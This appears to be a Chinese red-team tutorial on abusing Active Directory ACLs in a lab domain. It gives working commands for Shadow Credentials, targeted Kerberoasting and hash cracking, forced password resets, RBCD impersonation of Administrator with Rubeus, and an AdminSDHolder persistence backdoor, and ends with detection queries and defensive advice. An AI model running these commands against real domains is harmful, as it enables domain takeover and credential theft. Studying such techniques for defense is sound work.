团队内部红蓝对抗之How2PwnACLs
字数 2104 2025-08-25 22:59:02

Active Directory ACL滥用与权限提升技术详解

一、ACL基础概念

1.1 ACL与ACE定义

访问控制列表(ACL)是访问控制条目(ACE)的列表,每个ACE标识一个受托者并指定允许、拒绝或审计的访问权限。Active Directory中安全对象的安全描述符包含两种ACL:

  • DACL (Discretionary Access Control List):决定哪些用户/组可以访问对象
  • SACL (System Access Control List):决定哪些访问操作需要被审计

1.2 关键权限类型

需要重点关注的ACE权限包括:

  • GenericAll:完全控制对象
  • WriteDACL:修改对象的DACL权限
  • WriteOwner:修改对象所有者
  • GenericWrite:修改对象属性
  • ForceChangePassword:强制更改密码
  • AddMembers:向组添加成员
  • AllExtendedRights:执行所有扩展权限操作

二、ACL查看工具与方法

2.1 图形化工具

  • ADSI Edit:可视化查看和修改ACL
  • Active Directory Users and Computers:基础权限查看

2.2 命令行工具比较

2.2.1 Active Directory Module

(Get-Acl -Path "AD:CN=bob,CN=Users,DC=cia,DC=gov").access

优点:显示IdentityReference直观
缺点:需要域上下文

2.2.2 PowerView

Get-ObjectAcl -samAccountName bob -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

优点:显示更多字段信息
缺点:部分版本不显示IdentityReference

2.2.3 dsacls.exe

dsacls "CN=bob,CN=Users,DC=cia,DC=gov"
dsacls "\\10.0.0.50\CN=bob,CN=Users,DC=cia,DC=gov"  # 远程查询

优点:结果简明,支持远程查询
缺点:无法查看特殊权限细节

2.3 GUID转换

当ACE针对特定属性时,需要转换GUID:

$ObjectTypeGUID = @{}
$GetADObjectParameter=@{
    SearchBase=(Get-ADRootDSE).SchemaNamingContext
    LDAPFilter='(SchemaIDGUID=*)'
    Properties=@("Name", "SchemaIDGUID")
}
$SchGUID=Get-ADObject @GetADObjectParameter
Foreach ($SchemaItem in $SchGUID){
    $ObjectTypeGUID.Add([GUID]$SchemaItem.SchemaIDGUID,$SchemaItem.Name)
}
$ADObjExtPar=@{
    SearchBase="CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)"
    LDAPFilter='(ObjectClass=ControlAccessRight)'
    Properties=@("Name", "RightsGUID")
}
$SchExtGUID=Get-ADObject @ADObjExtPar
ForEach($SchExtItem in $SchExtGUID){
    $ObjectTypeGUID.Add([GUID]$SchExtItem.RightsGUID,$SchExtItem.Name)
}
$ObjectTypeGUID[[GUID]'bf967961-0de6-11d0-a285-00aa003049e2']  # 查询特定GUID

三、ACL滥用技术实战

3.1 攻击链示例

  1. 初始访问:获得普通域用户凭证(Amy.Gibson)
  2. WriteDACL滥用:Amy对Brandi.Khan有WriteDACL权限
  3. GenericAll获取:赋予Brandi.Khan对Carol.Dean的GenericAll权限
  4. Shadow Credentials:利用GenericAll设置msDS-KeyCredentialLink
  5. ForceChangePassword:Carol.Dean对Jane.Ward有密码修改权限
  6. 组权限提升:Jane.Ward对IT administrators组有GenericAll权限
  7. RBCD攻击:IT administrators是Account Operators成员,可配置基于资源的约束委派

3.2 关键技术详解

3.2.1 Targeted Kerberoasting

适用场景:拥有对目标用户的Write权限

工具targetedKerberoast

步骤

  1. 为目标账户添加SPN
  2. 请求Kerberos票据
  3. 离线破解票据
  4. 清理添加的SPN

破解命令

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt

3.2.2 Shadow Credentials

适用场景:拥有对目标用户的GenericAll/Write权限

工具pywhisker

步骤

# 添加KeyCredential
python pywhisker.py -d "pwn.local" -u "Brandi.Khan" -p "P@ssw0rd" --target "Carol.Dean" --action "add" --filename test1

# 使用证书认证
python gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass 0BUDG9Il7okIRHioXkY2 pwn.local/Carol.Dean Carol.Dean.ccache
set KRB5CCNAME=Carol.Dean.ccache
python getnthash.py -key bc427a139e28d2d965a64caf268209a170e29c11b0def6b11ad077fe3e4b4292 pwn.local/Carol.Dean

# 清理
python pywhisker.py -d "pwn.local" -u "Brandi.Khan" -p "P@ssw0rd" --target "Carol.Dean" --action "clear"

3.2.3 基于资源的约束委派(RBCD)

适用场景:拥有对计算机账户的Write权限(如Account Operators成员)

步骤

  1. 创建机器账户:
python addcomputer.py -computer-name faker -computer-pass 123456 -dc-ip 10.0.1.100 pwn.local/Jane.Ward:Admin7Bits
  1. 配置AllowedToActOnBehalfOfOtherIdentity:
python rbcd.py -dc-ip 10.0.1.100 -t FLAG -f faker pwn\Jane.Ward:Admin7Bits
  1. 请求票据并模拟管理员:
Rubeus.exe asktgt /domain:pwn.local /user:faker /password:123456 /dc:10.0.1.100 /outfile:1.KIRBI
Rubeus.exe s4u /ticket:1.KIRBI /impersonateuser:Administrator /msdsspn:cifs/FLAG.pwn.local /altservice:cifs /dc:10.0.1.100 /ptt

3.3 其他技术

3.3.1 强制修改密码

使用rpcclient修改密码:

rpcclient -U "pwn\Carol.Dean" //10.0.1.100 --pw-nt-hash
> setuserinfo2 Jane.Ward 23 Admin7Bits

3.3.2 添加用户到特权组

net rpc group addmem "IT administrators" Jane.Ward -U pwn.local/Jane.Ward -S 10.0.1.100

四、持久化技术

4.1 AdminSDHolder后门

原理:SDProp进程每小时将受保护对象的权限与AdminSDHolder容器同步

实施

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System' -PrincipalIdentity BobT -Rights All

受保护组

  • Account Operators
  • Backup Operators
  • Server Operators
  • Print Operators
  • Domain Admins
  • Enterprise Admins
  • 其他高权限组

五、检测与防御

5.1 审计配置

启用"DS访问"审计日志,监控事件ID 5136(目录服务更改)

5.2 关键日志查询

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=5136)]] 
      and *[EventData[Data[@Name='ObjectDN'] and (Data='CN=AdminSDHolder,CN=System,DC=YourDomain,DC=com')]]
      and *[EventData[Data[@Name='AttributeLDAPDisplayName'] and (Data='nTSecurityDescriptor')]]
    </Select>
  </Query>
</QueryList>

5.3 SDDL转换

# 将日志中的SDDL转换为可读格式
$sd = New-Object System.Security.AccessControl.RawSecurityDescriptor -ArgumentList $sddlString
$sd.DiscretionaryAcl | Format-Table -AutoSize

六、总结与最佳实践

6.1 攻击面总结

  1. ACL信息源自LDAP中的安全描述符,读取风险较低但修改风险高
  2. 修改安全描述符在开启审计时易被检测
  3. 攻击链通常从低权限账户开始,通过ACL滥用逐步提升权限

6.2 防御建议

  1. 定期审计域内ACL配置
  2. 启用DS访问审计并监控关键事件
  3. 限制敏感权限分配,遵循最小权限原则
  4. 监控异常SPN添加和修改操作
  5. 定期检查AdminSDHolder容器权限

6.3 参考工具

  • BloodHound/SharpHound:ACL可视化分析
  • PowerView:ACL查询与操作
  • pywhisker:Shadow Credentials利用
  • targetedKerberoast:针对性Kerberoasting
  • rbcd-attack:基于资源的约束委派利用
Active Directory ACL滥用与权限提升技术详解 一、ACL基础概念 1.1 ACL与ACE定义 访问控制列表(ACL)是访问控制条目(ACE)的列表,每个ACE标识一个受托者并指定允许、拒绝或审计的访问权限。Active Directory中安全对象的安全描述符包含两种ACL: DACL (Discretionary Access Control List):决定哪些用户/组可以访问对象 SACL (System Access Control List):决定哪些访问操作需要被审计 1.2 关键权限类型 需要重点关注的ACE权限包括: GenericAll :完全控制对象 WriteDACL :修改对象的DACL权限 WriteOwner :修改对象所有者 GenericWrite :修改对象属性 ForceChangePassword :强制更改密码 AddMembers :向组添加成员 AllExtendedRights :执行所有扩展权限操作 二、ACL查看工具与方法 2.1 图形化工具 ADSI Edit :可视化查看和修改ACL Active Directory Users and Computers :基础权限查看 2.2 命令行工具比较 2.2.1 Active Directory Module 优点:显示IdentityReference直观 缺点:需要域上下文 2.2.2 PowerView 优点:显示更多字段信息 缺点:部分版本不显示IdentityReference 2.2.3 dsacls.exe 优点:结果简明,支持远程查询 缺点:无法查看特殊权限细节 2.3 GUID转换 当ACE针对特定属性时,需要转换GUID: 三、ACL滥用技术实战 3.1 攻击链示例 初始访问 :获得普通域用户凭证(Amy.Gibson) WriteDACL滥用 :Amy对Brandi.Khan有WriteDACL权限 GenericAll获取 :赋予Brandi.Khan对Carol.Dean的GenericAll权限 Shadow Credentials :利用GenericAll设置msDS-KeyCredentialLink ForceChangePassword :Carol.Dean对Jane.Ward有密码修改权限 组权限提升 :Jane.Ward对IT administrators组有GenericAll权限 RBCD攻击 :IT administrators是Account Operators成员,可配置基于资源的约束委派 3.2 关键技术详解 3.2.1 Targeted Kerberoasting 适用场景 :拥有对目标用户的Write权限 工具 : targetedKerberoast 步骤 : 为目标账户添加SPN 请求Kerberos票据 离线破解票据 清理添加的SPN 破解命令 : 3.2.2 Shadow Credentials 适用场景 :拥有对目标用户的GenericAll/Write权限 工具 : pywhisker 步骤 : 3.2.3 基于资源的约束委派(RBCD) 适用场景 :拥有对计算机账户的Write权限(如Account Operators成员) 步骤 : 创建机器账户: 配置AllowedToActOnBehalfOfOtherIdentity: 请求票据并模拟管理员: 3.3 其他技术 3.3.1 强制修改密码 使用rpcclient修改密码: 3.3.2 添加用户到特权组 四、持久化技术 4.1 AdminSDHolder后门 原理 :SDProp进程每小时将受保护对象的权限与AdminSDHolder容器同步 实施 : 受保护组 : Account Operators Backup Operators Server Operators Print Operators Domain Admins Enterprise Admins 其他高权限组 五、检测与防御 5.1 审计配置 启用"DS访问"审计日志,监控事件ID 5136(目录服务更改) 5.2 关键日志查询 5.3 SDDL转换 六、总结与最佳实践 6.1 攻击面总结 ACL信息源自LDAP中的安全描述符,读取风险较低但修改风险高 修改安全描述符在开启审计时易被检测 攻击链通常从低权限账户开始,通过ACL滥用逐步提升权限 6.2 防御建议 定期审计域内ACL配置 启用DS访问审计并监控关键事件 限制敏感权限分配,遵循最小权限原则 监控异常SPN添加和修改操作 定期检查AdminSDHolder容器权限 6.3 参考工具 BloodHound/SharpHound:ACL可视化分析 PowerView:ACL查询与操作 pywhisker:Shadow Credentials利用 targetedKerberoast:针对性Kerberoasting rbcd-attack:基于资源的约束委派利用